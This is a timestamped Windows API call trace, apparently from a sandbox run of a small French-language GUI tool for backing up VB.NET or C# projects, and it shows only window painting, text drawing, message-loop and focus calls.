[0245.881] SaveDC (hdc=0x230101a0) returned 1 [0245.881] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x91040221 [0245.881] GetClipRgn (hdc=0x230101a0, hrgn=0x91040221) returned 0 [0245.881] SelectClipRgn (hdc=0x230101a0, hrgn=0x6b0401e4) returned 2 [0245.881] DeleteObject (ho=0x91040221) returned 1 [0245.881] DeleteObject (ho=0x6b0401e4) returned 1 [0245.881] OffsetViewportOrgEx (in: hdc=0x230101a0, x=0, y=0, lppt=0x24a66c4 | out: lppt=0x24a66c4) returned 1 [0245.881] DrawThemeParentBackground () returned 0x0 [0245.881] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0245.881] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0245.881] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0245.881] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0245.881] GetSystemMetrics (nIndex=42) returned 0 [0245.881] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0245.881] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0245.881] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0245.881] GetCurrentObject (hdc=0x230101a0, type=0x1) returned 0x1b00017 [0245.882] GetCurrentObject (hdc=0x230101a0, type=0x2) returned 0x1900010 [0245.882] GetCurrentObject (hdc=0x230101a0, type=0x7) returned 0xa0506be [0245.882] GetCurrentObject (hdc=0x230101a0, type=0x6) returned 0x18a002e [0245.882] SaveDC (hdc=0x230101a0) returned 2 [0245.882] GetNearestColor (hdc=0x230101a0, color=0xf0f0f0) returned 0xf0f0f0 [0245.882] CreateSolidBrush (color=0xf0f0f0) returned 0x231006b3 [0245.882] FillRect (hDC=0x230101a0, lprc=0x52e314, hbr=0x231006b3) returned 1 [0245.882] DeleteObject (ho=0x231006b3) returned 1 [0245.882] RestoreDC (hdc=0x230101a0, nSavedDC=-1) returned 1 [0245.882] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0245.882] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0245.882] GetSystemMetrics (nIndex=42) returned 0 [0245.882] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0245.882] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0245.882] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0245.882] GetCurrentObject (hdc=0x230101a0, type=0x1) returned 0x1b00017 [0245.882] GetCurrentObject (hdc=0x230101a0, type=0x2) returned 0x1900010 [0245.883] GetCurrentObject (hdc=0x230101a0, type=0x7) returned 0xa0506be [0245.883] GetCurrentObject (hdc=0x230101a0, type=0x6) returned 0x18a002e [0245.883] SaveDC (hdc=0x230101a0) returned 2 [0245.883] GetNearestColor (hdc=0x230101a0, color=0xf0f0f0) returned 0xf0f0f0 [0245.883] CreateSolidBrush (color=0xf0f0f0) returned 0x241006b3 [0245.883] FillRect (hDC=0x230101a0, lprc=0x52e2b4, hbr=0x241006b3) returned 1 [0245.883] DeleteObject (ho=0x241006b3) returned 1 [0245.883] RestoreDC (hdc=0x230101a0, nSavedDC=-1) returned 1 [0245.883] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0245.883] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0245.883] GetSystemMetrics (nIndex=42) returned 0 [0245.883] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0245.883] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0245.883] RestoreDC (hdc=0x230101a0, nSavedDC=-1) returned 1 [0245.883] GdipReleaseDC (graphics=0x4da5930, hdc=0x230101a0) returned 0x0 [0245.883] IsAppThemed () returned 0x1 [0245.883] GetThemeAppProperties () returned 0x3 [0245.883] GetThemeAppProperties () returned 0x3 [0245.883] IsAppThemed () returned 0x1 [0245.883] GetThemeAppProperties () returned 0x3 [0245.884] GetThemeAppProperties () returned 0x3 [0245.884] IsThemePartDefined () returned 0x1 [0245.884] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0245.884] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0245.884] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0245.884] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0245.884] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0245.884] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0245.884] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0245.884] LocalFree (hMem=0x4fa4b20) returned 0x0 [0245.884] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0245.884] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0245.884] LocalFree (hMem=0x4fa4b20) returned 0x0 [0245.884] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0245.884] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0245.884] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0245.884] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0245.884] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0245.884] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0245.884] GetCurrentObject (hdc=0x230101a0, type=0x1) returned 0x1b00017 [0245.884] GetCurrentObject (hdc=0x230101a0, type=0x2) returned 0x1900010 [0245.884] GetCurrentObject (hdc=0x230101a0, type=0x7) returned 0xa0506be [0245.884] GetCurrentObject (hdc=0x230101a0, type=0x6) returned 0x18a002e [0245.884] SaveDC (hdc=0x230101a0) returned 1 [0245.884] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6c0401e4 [0245.884] GetClipRgn (hdc=0x230101a0, hrgn=0x6c0401e4) returned 0 [0245.884] SelectClipRgn (hdc=0x230101a0, hrgn=0x93040221) returned 2 [0245.885] DeleteObject (ho=0x6c0401e4) returned 1 [0245.885] DeleteObject (ho=0x93040221) returned 1 [0245.885] OffsetViewportOrgEx (in: hdc=0x230101a0, x=0, y=0, lppt=0x24a7804 | out: lppt=0x24a7804) returned 1 [0245.885] IsAppThemed () returned 0x1 [0245.885] GetThemeAppProperties () returned 0x3 [0245.885] GetThemeAppProperties () returned 0x3 [0245.885] DrawThemeBackground () returned 0x0 [0245.885] RestoreDC (hdc=0x230101a0, nSavedDC=-1) returned 1 [0245.885] GdipReleaseDC (graphics=0x4da5930, hdc=0x230101a0) returned 0x0 [0245.885] GdipCreateRegion (region=0x52e790) returned 0x0 [0245.885] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0245.885] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0245.885] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0245.885] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0245.885] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0245.885] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0245.885] LocalFree (hMem=0x4fa4b20) returned 0x0 [0245.885] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0245.885] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0245.885] LocalFree (hMem=0x4fa4b20) returned 0x0 [0245.885] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0245.885] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0245.885] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0245.885] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0245.885] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0245.885] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0245.885] GetCurrentObject (hdc=0x230101a0, type=0x1) returned 0x1b00017 [0245.886] GetCurrentObject (hdc=0x230101a0, type=0x2) returned 0x1900010 [0245.886] GetCurrentObject (hdc=0x230101a0, type=0x7) returned 0xa0506be [0245.886] GetCurrentObject (hdc=0x230101a0, type=0x6) returned 0x18a002e [0245.886] SaveDC (hdc=0x230101a0) returned 1 [0245.886] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x94040221 [0245.886] GetClipRgn (hdc=0x230101a0, hrgn=0x94040221) returned 0 [0245.886] SelectClipRgn (hdc=0x230101a0, hrgn=0x6d0401e4) returned 2 [0245.886] DeleteObject (ho=0x94040221) returned 1 [0245.886] DeleteObject (ho=0x6d0401e4) returned 1 [0245.886] OffsetViewportOrgEx (in: hdc=0x230101a0, x=0, y=0, lppt=0x24a7ad8 | out: lppt=0x24a7ad8) returned 1 [0245.886] IsAppThemed () returned 0x1 [0245.886] GetThemeAppProperties () returned 0x3 [0245.886] GetThemeAppProperties () returned 0x3 [0245.886] GetThemeBackgroundContentRect () returned 0x0 [0245.886] RestoreDC (hdc=0x230101a0, nSavedDC=-1) returned 1 [0245.886] GdipReleaseDC (graphics=0x4da5930, hdc=0x230101a0) returned 0x0 [0245.886] IsAppThemed () returned 0x1 [0245.886] GetThemeAppProperties () returned 0x3 [0245.886] GetThemeAppProperties () returned 0x3 [0245.886] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0245.886] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0245.886] GetCurrentObject (hdc=0x230101a0, type=0x1) returned 0x1b00017 [0245.886] GetCurrentObject (hdc=0x230101a0, type=0x2) returned 0x1900010 [0245.886] GetCurrentObject (hdc=0x230101a0, type=0x7) returned 0xa0506be [0245.886] GetCurrentObject (hdc=0x230101a0, type=0x6) returned 0x18a002e [0245.886] SaveDC (hdc=0x230101a0) returned 1 [0245.886] GetTextAlign (hdc=0x230101a0) returned 0x0 [0245.886] GetTextColor (hdc=0x230101a0) returned 0x0 [0245.886] GetCurrentObject (hdc=0x230101a0, type=0x6) returned 0x18a002e [0245.887] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0245.887] SelectObject (hdc=0x230101a0, h=0xc0a01e7) returned 0x18a002e [0245.887] GetBkMode (hdc=0x230101a0) returned 2 [0245.887] SetBkMode (hdc=0x230101a0, mode=1) returned 2 [0245.887] DrawTextExW (in: hdc=0x230101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x24a7e6c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0245.887] DrawTextExW (in: hdc=0x230101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x24a7e6c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0245.887] RestoreDC (hdc=0x230101a0, nSavedDC=-1) returned 1 [0245.887] GdipReleaseDC (graphics=0x4da5930, hdc=0x230101a0) returned 0x0 [0245.887] GetFocus () returned 0x0 [0245.887] IsAppThemed () returned 0x1 [0245.887] GetThemeAppProperties () returned 0x3 [0245.887] GetThemeAppProperties () returned 0x3 [0245.887] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0245.887] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x230101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0245.888] GdipReleaseDC (graphics=0x4da5930, hdc=0x230101a0) returned 0x0 [0245.888] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0245.888] SelectObject (hdc=0x230101a0, h=0x185000f) returned 0xa0506be [0245.888] DeleteDC (hdc=0x230101a0) returned 1 [0245.888] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0245.889] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0245.889] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0245.889] IsWindowUnicode (hWnd=0x101a4) returned 1 [0245.889] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0245.889] TranslateMessage (lpMsg=0x52ef98) returned 0 [0245.889] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0245.889] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0245.889] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0245.889] WaitMessage () returned 1 [0246.048] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0246.048] IsWindowUnicode (hWnd=0x101a6) returned 1 [0246.048] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0246.048] TranslateMessage (lpMsg=0x52ef98) returned 0 [0246.048] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0246.048] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0246.048] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0246.048] WaitMessage () returned 1 [0247.067] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.067] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0247.067] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0247.134] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0247.134] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0247.134] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0247.134] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0247.135] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0247.135] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0247.135] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0247.135] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x1, lParam=0x560) returned 0x0 [0247.135] NtdllDefWindowProc_W () returned 0x0 [0247.135] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0247.141] GetFocus () returned 0x0 [0247.141] SetFocus (hWnd=0x10186) returned 0x0 [0247.142] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0247.142] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0247.142] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0247.142] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0247.142] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0247.142] GetStockObject (i=5) returned 0x1900015 [0247.142] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0247.142] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0xd, wParam=0x1a, lParam=0x69a208) returned 0x19 [0247.142] GetDlgItem (hDlg=0x1016e, nIDDlgItem=65926) returned 0x10186 [0247.142] SendMessageW (hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0247.142] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x202b, wParam=0x10186, lParam=0x52e678) returned 0x0 [0247.142] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0247.142] IsWindowUnicode (hWnd=0x10186) returned 1 [0247.142] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.143] TranslateMessage (lpMsg=0x52ef98) returned 0 [0247.143] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0247.143] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.143] IsWindowUnicode (hWnd=0x10186) returned 1 [0247.143] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.143] GetKeyState (nVirtKey=16) returned 0 [0247.143] GetKeyState (nVirtKey=17) returned 0 [0247.143] GetKeyState (nVirtKey=18) returned -128 [0247.143] TranslateMessage (lpMsg=0x52ef98) returned 1 [0247.143] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0247.143] GetKeyState (nVirtKey=16) returned 0 [0247.143] GetKeyState (nVirtKey=17) returned 0 [0247.143] GetKeyState (nVirtKey=18) returned -128 [0247.143] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0247.143] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.143] IsWindowUnicode (hWnd=0x10186) returned 1 [0247.143] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.143] GetKeyState (nVirtKey=16) returned 0 [0247.143] GetKeyState (nVirtKey=17) returned 0 [0247.143] GetKeyState (nVirtKey=18) returned 0 [0247.143] TranslateMessage (lpMsg=0x52ef98) returned 1 [0247.143] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0247.143] GetKeyState (nVirtKey=16) returned 0 [0247.143] GetKeyState (nVirtKey=17) returned 0 [0247.143] GetKeyState (nVirtKey=18) returned 0 [0247.143] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0247.143] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.143] IsWindowUnicode (hWnd=0x10186) returned 1 [0247.143] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.143] TranslateMessage (lpMsg=0x52ef98) returned 0 [0247.143] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0247.143] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x60106b7 [0247.143] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0247.143] CreateCompatibleDC (hdc=0x60106b7) returned 0x2c0101a0 [0247.143] SelectObject (hdc=0x2c0101a0, h=0xa0506be) returned 0x185000f [0247.144] GdipCreateFromHDC (hdc=0x2c0101a0, graphics=0x52ea94) returned 0x0 [0247.144] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0247.144] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0247.144] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0247.144] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0247.144] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0247.144] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0247.144] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0247.144] LocalFree (hMem=0x4fa4b20) returned 0x0 [0247.144] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0247.144] GdipCreateRegion (region=0x52eadc) returned 0x0 [0247.144] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0247.144] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0247.144] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0247.144] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd8f0dbd) returned 0x0 [0247.144] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0247.144] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0247.144] GetCurrentObject (hdc=0x2c0101a0, type=0x1) returned 0x1b00017 [0247.144] GetCurrentObject (hdc=0x2c0101a0, type=0x2) returned 0x1900010 [0247.144] GetCurrentObject (hdc=0x2c0101a0, type=0x7) returned 0xa0506be [0247.144] GetCurrentObject (hdc=0x2c0101a0, type=0x6) returned 0x18a002e [0247.144] SaveDC (hdc=0x2c0101a0) returned 1 [0247.144] GetNearestColor (hdc=0x2c0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0247.145] GetNearestColor (hdc=0x2c0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0247.145] GetNearestColor (hdc=0x2c0101a0, color=0x696969) returned 0x696969 [0247.145] GetNearestColor (hdc=0x2c0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0247.145] GetNearestColor (hdc=0x2c0101a0, color=0x0) returned 0x0 [0247.145] GetNearestColor (hdc=0x2c0101a0, color=0xffffff) returned 0xffffff [0247.145] GetNearestColor (hdc=0x2c0101a0, color=0xe5e5e5) returned 0xe5e5e5 [0247.145] GetNearestColor (hdc=0x2c0101a0, color=0xd7d7d7) returned 0xd7d7d7 [0247.145] GetNearestColor (hdc=0x2c0101a0, color=0x0) returned 0x0 [0247.145] RestoreDC (hdc=0x2c0101a0, nSavedDC=-1) returned 1 [0247.145] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0101a0) returned 0x0 [0247.145] IsAppThemed () returned 0x1 [0247.145] GetThemeAppProperties () returned 0x3 [0247.145] GetThemeAppProperties () returned 0x3 [0247.145] IsAppThemed () returned 0x1 [0247.145] GetThemeAppProperties () returned 0x3 [0247.145] GetThemeAppProperties () returned 0x3 [0247.145] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x24bb1d0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0247.145] IsAppThemed () returned 0x1 [0247.145] GetThemeAppProperties () returned 0x3 [0247.145] GetThemeAppProperties () returned 0x3 [0247.145] IsAppThemed () returned 0x1 [0247.145] GetThemeAppProperties () returned 0x3 [0247.145] GetThemeAppProperties () returned 0x3 [0247.145] GetFocus () returned 0x10186 [0247.146] IsAppThemed () returned 0x1 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] IsAppThemed () returned 0x1 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] IsThemePartDefined () returned 0x1 [0247.146] IsAppThemed () returned 0x1 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0247.146] IsAppThemed () returned 0x1 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] IsAppThemed () returned 0x1 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] GetThemeAppProperties () returned 0x3 [0247.146] IsThemePartDefined () returned 0x1 [0247.146] GdipCreateRegion (region=0x52e804) returned 0x0 [0247.146] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0247.146] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0247.146] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0247.146] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0247.146] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0247.146] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0247.146] LocalFree (hMem=0x4fa4b20) returned 0x0 [0247.146] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0247.146] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0247.146] LocalFree (hMem=0x4fa4b20) returned 0x0 [0247.147] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0247.147] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0247.147] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0247.147] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0247.147] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0247.147] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0247.147] GetCurrentObject (hdc=0x2c0101a0, type=0x1) returned 0x1b00017 [0247.147] GetCurrentObject (hdc=0x2c0101a0, type=0x2) returned 0x1900010 [0247.147] GetCurrentObject (hdc=0x2c0101a0, type=0x7) returned 0xa0506be [0247.147] GetCurrentObject (hdc=0x2c0101a0, type=0x6) returned 0x18a002e [0247.147] SaveDC (hdc=0x2c0101a0) returned 1 [0247.147] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x6e0401e4 [0247.147] GetClipRgn (hdc=0x2c0101a0, hrgn=0x6e0401e4) returned 0 [0247.147] SelectClipRgn (hdc=0x2c0101a0, hrgn=0x9b040221) returned 2 [0247.147] DeleteObject (ho=0x6e0401e4) returned 1 [0247.147] DeleteObject (ho=0x9b040221) returned 1 [0247.147] OffsetViewportOrgEx (in: hdc=0x2c0101a0, x=0, y=0, lppt=0x24bb880 | out: lppt=0x24bb880) returned 1 